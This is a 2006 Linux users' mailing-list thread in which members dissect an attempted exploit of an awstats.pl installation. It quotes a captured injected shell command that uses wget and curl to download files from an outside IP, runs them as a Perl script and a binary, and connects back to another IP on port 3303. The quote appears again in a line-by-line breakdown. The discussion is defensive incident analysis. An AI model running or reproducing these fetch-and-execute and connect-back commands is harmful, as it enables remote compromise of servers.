mmm...interesting. if youre still not at ease with it, better not to take
the risk,
simply remove it and get another or a new one.


-----Original Message-----
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of Happy Kamote
Foundation
Sent: Monday, May 08, 2006 8:54 AM
To: Kelsey Hartigan-Go; Philippine Linux Users' Group (PLUG) Technical
Discussion List
Subject: Re: [plug] awstats.pl

hi kelsey

are you sure? better check things out because the ip is up, but i think he's
just using a rundown webserver ;)

yes, the links are not reachable. but the ip is. ;)

-happy kamote


On 5/8/06, Kelsey Hartigan-Go <[EMAIL PROTECTED]> wrote:
>
> attack wasn't successful. but me better take a better care for these 
> defaults left open. thanks.
>
> _____ Original message _____
> Subject: Re: [plug] awstats.pl
> Author: "Happy Kamote Foundation" <[EMAIL PROTECTED]>
> Date: 08th May 2006 11:42:9
>
>
> Obviously if awstats is properly configured/patched then it will not 
> run this process
>
>  6087 ? R 81:06 sh -c echo ;echo b_exp;wget http://219.84.105.36/ping 
> .txt;mv ping.txt temp2006;perl temp2006 220.227.100.4 3303;wget 
> http://219.84.10 5.36/ping;chmod +x ping;./ping 220.227.100.4 
> 3303;curl -o ping
> http://219.84.105
> .36/ping;chmod +x ping;./ping 220.227.100.4 3303;cd /tmp/;curl -o 
> temp2006
> http:
> //219.84.105.36/ping.txt;while [ 1 ];do perl temp2006 220.227.100.4 
> 3303;done;wg et http://219.84.105.36/ping;chmod +x ping;./ping 
> 220.227.100.4 3303;curl -o pin g http://219.84.105.36/ping;chmod +x 
> ping;./ping 220.227.100.4 3303;echo e_exp;% 00/awstats.w.x.y.z.conf
>
> and using a bit of common sense, you'll know that it had put in 
> something on your box which is particularly malicious. Let's try to 
> trim this down (since i have lots of time on my hands)
>
> - smells like a spawned sh shell.
>
> wget http://219.84.105.36/ping.txt
> mv ping.txt temp2006
> perl temp2006 220.227.100.4 3303 : (smells like a backdoor)
>
> (oops this was unsuccessful, kiddie tries again using curl) cd /tmp/ 
> curl -o temp2006 http://219.84.105.36/ping.txt perl temp2006 
> 220.227.100.4 3303;done;wg
>
> (oops! this was unsuccessful too! 3 is a charm! this time comes 
> precompiled *Grin*)
>
>
> wget http://219.84.105.36/ping
> chmod +x ping;
> ./ping 220.227.100.4 3303
>
> and so on and so forth.. ;)
>
> ;)
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